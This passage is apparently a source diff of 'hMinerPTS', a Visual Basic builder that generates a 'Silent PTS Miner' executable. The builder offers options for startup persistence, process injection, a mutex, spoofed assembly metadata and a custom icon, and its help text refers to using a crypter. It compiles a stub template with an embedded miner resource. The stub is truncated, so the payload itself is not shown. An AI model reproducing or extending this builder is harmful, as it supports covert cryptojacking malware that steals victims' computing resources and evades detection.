Me.FlatClose1.Size = New System.Drawing.Size(18, 18)
|
||||
Me.FlatClose1.TabIndex = 1
|
||||
Me.FlatClose1.Text = "FlatClose1"
|
||||
Me.FlatClose1.TextColor = System.Drawing.Color.FromArgb(CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer), CType(CType(243, Byte), Integer))
|
||||
'
|
||||
'Label1
|
||||
'
|
||||
Me.Label1.BackColor = System.Drawing.Color.RoyalBlue
|
||||
Me.Label1.Location = New System.Drawing.Point(8, 48)
|
||||
Me.Label1.Name = "Label1"
|
||||
Me.Label1.Size = New System.Drawing.Size(575, 1)
|
||||
Me.Label1.TabIndex = 0
|
||||
'
|
||||
'frmMain
|
||||
'
|
||||
Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
Me.ClientSize = New System.Drawing.Size(520, 425)
|
||||
Me.Controls.Add(Me.FormSkin1)
|
||||
Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None
|
||||
Me.Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
Me.Name = "frmMain"
|
||||
Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen
|
||||
Me.Text = "rMinerPTS - Welcome"
|
||||
Me.TransparencyKey = System.Drawing.Color.Fuchsia
|
||||
Me.FormSkin1.ResumeLayout(False)
|
||||
Me.FlatTabControl1.ResumeLayout(False)
|
||||
Me.pageMain.ResumeLayout(False)
|
||||
Me.pageMain.PerformLayout()
|
||||
Me.pageAssembly.ResumeLayout(False)
|
||||
Me.pageAssembly.PerformLayout()
|
||||
CType(Me.previewIcon, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.pageBuild.ResumeLayout(False)
|
||||
Me.pageBuild.PerformLayout()
|
||||
CType(Me.btBuild, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
Me.pageAbout.ResumeLayout(False)
|
||||
Me.pageAbout.PerformLayout()
|
||||
Me.ResumeLayout(False)
|
||||
|
||||
End Sub
|
||||
Friend WithEvents Label1 As System.Windows.Forms.Label
|
||||
Friend WithEvents FormSkin1 As hMinerPTS.FormSkin
|
||||
Friend WithEvents statusBar As hMinerPTS.FlatStatusBar
|
||||
Friend WithEvents FlatTabControl1 As hMinerPTS.FlatTabControl
|
||||
Friend WithEvents pageMain As System.Windows.Forms.TabPage
|
||||
Friend WithEvents btReset As hMinerPTS.FlatButton
|
||||
Friend WithEvents btHelp As hMinerPTS.FlatButton
|
||||
Friend WithEvents tbMutex As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents checkMutex As hMinerPTS.FlatCheckBox
|
||||
Friend WithEvents tbStartup As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents checkStartup As hMinerPTS.FlatCheckBox
|
||||
Friend WithEvents Label6 As System.Windows.Forms.Label
|
||||
Friend WithEvents comboInject As hMinerPTS.FlatComboBox
|
||||
Friend WithEvents Label5 As System.Windows.Forms.Label
|
||||
Friend WithEvents tbPass As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents Label4 As System.Windows.Forms.Label
|
||||
Friend WithEvents tbWorker As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents Label3 As System.Windows.Forms.Label
|
||||
Friend WithEvents tbURL As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents Label2 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label7 As System.Windows.Forms.Label
|
||||
Friend WithEvents pageAssembly As System.Windows.Forms.TabPage
|
||||
Friend WithEvents btIconBrowse As hMinerPTS.FlatButton
|
||||
Friend WithEvents checkIcon As hMinerPTS.FlatCheckBox
|
||||
Friend WithEvents Label11 As System.Windows.Forms.Label
|
||||
Friend WithEvents fv4 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents fv3 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents fv2 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents fv1 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents Label10 As System.Windows.Forms.Label
|
||||
Friend WithEvents pv4 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents pv3 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents pv2 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents pv1 As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents Label9 As System.Windows.Forms.Label
|
||||
Friend WithEvents tbTitle As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents tbCopyright As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents tbProduct As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents tbCompany As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents tbDesc As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents Label8 As System.Windows.Forms.Label
|
||||
Friend WithEvents previewIcon As System.Windows.Forms.PictureBox
|
||||
Friend WithEvents pageBuild As System.Windows.Forms.TabPage
|
||||
Friend WithEvents btBuild As System.Windows.Forms.PictureBox
|
||||
Friend WithEvents Label12 As System.Windows.Forms.Label
|
||||
Friend WithEvents btMinimize As hMinerPTS.FlatButton
|
||||
Friend WithEvents FlatClose1 As hMinerPTS.FlatClose
|
||||
Friend WithEvents FlatClose2 As hMinerPTS.FlatClose
|
||||
Friend WithEvents Label15 As System.Windows.Forms.Label
|
||||
Friend WithEvents checkPercent As hMinerPTS.FlatCheckBox
|
||||
Friend WithEvents Label14 As System.Windows.Forms.Label
|
||||
Friend WithEvents nThreads As hMinerPTS.FlatNumeric
|
||||
Friend WithEvents Label13 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label16 As System.Windows.Forms.Label
|
||||
Friend WithEvents checkDebug As hMinerPTS.FlatCheckBox
|
||||
Friend WithEvents tbTrademark As hMinerPTS.FlatTextBox
|
||||
Friend WithEvents pageAbout As System.Windows.Forms.TabPage
|
||||
Friend WithEvents Label18 As System.Windows.Forms.Label
|
||||
Friend WithEvents Label17 As System.Windows.Forms.Label
|
||||
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,145 @@
|
||||
Imports hMinerPTS.License
|
||||
Imports System.IO
|
||||
|
||||
Public Class frmMain
|
||||
|
||||
' Sub New()
|
||||
' InitializeComponent()
|
||||
' Seal.Protection = RuntimeProtection.FullScan
|
||||
' Seal.Initialize("E42E0000") 'Required
|
||||
'
|
||||
' FormSkin1.Text = "hMinerPTS - Welcome " & Seal.Username & "."
|
||||
' statusBar.Text = "Version: " & Seal.ProductVersion.ToString() & " News: " & Seal.GlobalMessage
|
||||
' End Sub
|
||||
|
||||
Private Sub btMinimize_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btMinimize.Click
|
||||
Me.WindowState = FormWindowState.Minimized
|
||||
End Sub
|
||||
|
||||
|
||||
|
||||
Private Sub checkIcon_CheckedChanged(ByVal sender As System.Object) Handles checkIcon.CheckedChanged
|
||||
If checkIcon.Checked Then
|
||||
btIconBrowse.Enabled = True
|
||||
Settings.CustomIcon = True
|
||||
Else
|
||||
btIconBrowse.Enabled = False
|
||||
previewIcon.BackColor = Color.Gainsboro
|
||||
previewIcon.Image = Nothing
|
||||
Settings.CustomIcon = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub checkStartup_CheckedChanged(ByVal sender As System.Object) Handles checkStartup.CheckedChanged
|
||||
If checkStartup.Checked Then
|
||||
tbStartup.Enabled = True
|
||||
tbStartup.TextColor = Color.White
|
||||
Settings.Startup = True
|
||||
Else
|
||||
tbStartup.Enabled = False
|
||||
tbStartup.TextColor = Color.Silver
|
||||
tbStartup.Text = "Startupkey"
|
||||
Settings.Startup = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub checkMutex_CheckedChanged(ByVal sender As System.Object) Handles checkMutex.CheckedChanged
|
||||
If checkMutex.Checked Then
|
||||
tbMutex.Enabled = True
|
||||
tbMutex.TextColor = Color.White
|
||||
Settings.Mutex = True
|
||||
Else
|
||||
tbMutex.Enabled = False
|
||||
tbMutex.TextColor = Color.Silver
|
||||
tbMutex.Text = "Random Chars"
|
||||
Settings.Mutex = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub btReset_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btReset.Click
|
||||
tbURL.Text = "ypool.net"
|
||||
tbWorker.Text = "Example.PTS"
|
||||
tbPass.Text = "x"
|
||||
checkStartup.Checked = False
|
||||
checkMutex.Checked = False
|
||||
tbStartup.Text = "Startupkey"
|
||||
tbMutex.Text = "Random Chars"
|
||||
End Sub
|
||||
|
||||
Private Sub btHelp_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btHelp.Click
|
||||
MsgBox("Mutex: The miner only starts once." & vbNewLine & "Use Startup ONLY if you don't have a crypter!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information, "HELP")
|
||||
End Sub
|
||||
|
||||
Private Sub btIconBrowse_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btIconBrowse.Click
|
||||
Using ofd As New OpenFileDialog With {.Title = "Open Icon...", .Filter = "Icon files (*ico)|*.ico", .InitialDirectory = Application.StartupPath}
|
||||
If ofd.ShowDialog() = DialogResult.OK Then
|
||||
previewIcon.BackColor = Color.Transparent
|
||||
previewIcon.ImageLocation = ofd.FileName
|
||||
Settings.IconPath = ofd.FileName
|
||||
End If
|
||||
End Using
|
||||
End Sub
|
||||
|
||||
Private Sub btBuild_MouseEnter(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.MouseEnter
|
||||
btBuild.Image = My.Resources.build_hover
|
||||
End Sub
|
||||
|
||||
|
||||
Private Sub btBuild_MouseLeave(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.MouseLeave
|
||||
btBuild.Image = My.Resources.build
|
||||
End Sub
|
||||
|
||||
Private Sub btBuild_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btBuild.Click
|
||||
|
||||
Dim tmp As String
|
||||
tmp = Path.GetTempPath() & "hMine.resources"
|
||||
|
||||
|
||||
Settings.SavePath = Settings.getSavePath()
|
||||
If Settings.SavePath = Nothing Then : MsgBox("Please choose a save location!", MsgBoxStyle.OkOnly + MsgBoxStyle.Information) : Exit Sub : End If
|
||||
|
||||
Dim source As String
|
||||
source = Settings.prepareSource(My.Resources.Stub)
|
||||
|
||||
'IO.File.WriteAllText(Application.StartupPath & "/test.vb", source)
|
||||
If Settings.CustomIcon Then
|
||||
IO.File.WriteAllBytes(tmp, My.Resources.hMine)
|
||||
rCompiler.Compile(source, Settings.SavePath, tmp, Settings.IconPath)
|
||||
IO.File.Delete(tmp)
|
||||
Else
|
||||
IO.File.WriteAllBytes(tmp, My.Resources.hMine)
|
||||
rCompiler.Compile(source, Settings.SavePath, tmp)
|
||||
IO.File.Delete(tmp)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub checkPercent_CheckedChanged(ByVal sender As System.Object) Handles checkPercent.CheckedChanged
|
||||
If checkPercent.Checked Then
|
||||
nThreads.Enabled = False
|
||||
nThreads.Value = 0
|
||||
Settings.ThreadPercent = True
|
||||
Else
|
||||
nThreads.Enabled = True
|
||||
Settings.ThreadPercent = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub checkDebug_CheckedChanged(ByVal sender As System.Object) Handles checkDebug.CheckedChanged
|
||||
If checkDebug.Checked Then
|
||||
Settings.DebugMode = True
|
||||
Else
|
||||
Settings.DebugMode = False
|
||||
End If
|
||||
End Sub
|
||||
|
||||
'Private Sub FlatButton1_Click(sender As System.Object, e As System.EventArgs) Handles FlatButton1.Click
|
||||
' MsgBox(Settings.prepareSource(My.Resources.Stub))
|
||||
|
||||
'MsgBox(System.Runtime.InteropServices.RuntimeEnvironment.GetRuntimeDirectory() & "vbc.exe")
|
||||
'End Sub
|
||||
|
||||
Private Sub frmMain_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
|
||||
comboInject.SelectedIndex = 1
|
||||
End Sub
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.18444
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.hMinerPTS.frmMain
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-16"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>frmMain</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>0</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' General Information about an assembly is controlled through the following
|
||||
' set of attributes. Change these attribute values to modify the information
|
||||
' associated with an assembly.
|
||||
|
||||
' Review the values of the assembly attributes
|
||||
|
||||
<Assembly: AssemblyTitle("hMinerPTS")>
|
||||
<Assembly: AssemblyDescription("Silent PTS Miner")>
|
||||
<Assembly: AssemblyCompany("")>
|
||||
<Assembly: AssemblyProduct("hMinerPTS")>
|
||||
<Assembly: AssemblyCopyright("Copyright © 2014")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
<Assembly: Guid("faae4f3b-0b3b-47ba-b924-18840e7660a8")>
|
||||
|
||||
' Version information for an assembly consists of the following four values:
|
||||
'
|
||||
' Major Version
|
||||
' Minor Version
|
||||
' Build Number
|
||||
' Revision
|
||||
'
|
||||
' You can specify all the values or you can default the Build and Revision Numbers
|
||||
' by using the '*' as shown below:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,116 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.18444
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'This class was auto-generated by the StronglyTypedResourceBuilder
|
||||
'class via a tool like ResGen or Visual Studio.
|
||||
'To add or remove a member, edit your .ResX file then rerun ResGen
|
||||
'with the /str option, or rebuild your VS project.
|
||||
'''<summary>
|
||||
''' A strongly-typed resource class, for looking up localized strings, etc.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Returns the cached ResourceManager instance used by this class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("hMinerPTS.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Overrides the current thread's CurrentUICulture property for all
|
||||
''' resource lookups using this strongly typed resource class.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property build() As System.Drawing.Bitmap
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("build", resourceCulture)
|
||||
Return CType(obj,System.Drawing.Bitmap)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Drawing.Bitmap.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property build_hover() As System.Drawing.Bitmap
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("build_hover", resourceCulture)
|
||||
Return CType(obj,System.Drawing.Bitmap)
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized resource of type System.Byte[].
|
||||
'''</summary>
|
||||
Friend ReadOnly Property hMine() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("hMine", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Looks up a localized string similar to Imports System, Microsoft.VisualBasic
|
||||
'''Imports Microsoft.Win32
|
||||
'''Imports System.Reflection
|
||||
'''
|
||||
'''<Assembly: AssemblyTitle("{TITLE}")> 'done
|
||||
'''<Assembly: AssemblyDescription("{DESC}")> 'done
|
||||
'''<Assembly: AssemblyCompany("{COMPANY}")> 'done
|
||||
'''<Assembly: AssemblyProduct("{PRODUCT}")> 'done
|
||||
'''<Assembly: AssemblyCopyright("{COPYRIGHT}")> 'done
|
||||
'''<Assembly: AssemblyTrademark("{TRADEMARK}")> 'done
|
||||
'''<Assembly: AssemblyFileVersion("{FVERSION}")> 'done
|
||||
'''<Assembly: AssemblyVersion("{PVERSION}")> 'done
|
||||
'''
|
||||
'''Module Module1
|
||||
'''%MUTEX [rest of string was truncated]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property Stub() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("Stub", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,133 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="build" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\img\build.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="build_hover" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\img\build_hover.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a</value>
|
||||
</data>
|
||||
<data name="Stub" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Source\Stub.txt;System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;utf-8</value>
|
||||
</data>
|
||||
<data name="hMine" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\RES\hMine.resources;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.18444
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.hMinerPTS.My.MySettings
|
||||
Get
|
||||
Return Global.hMinerPTS.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
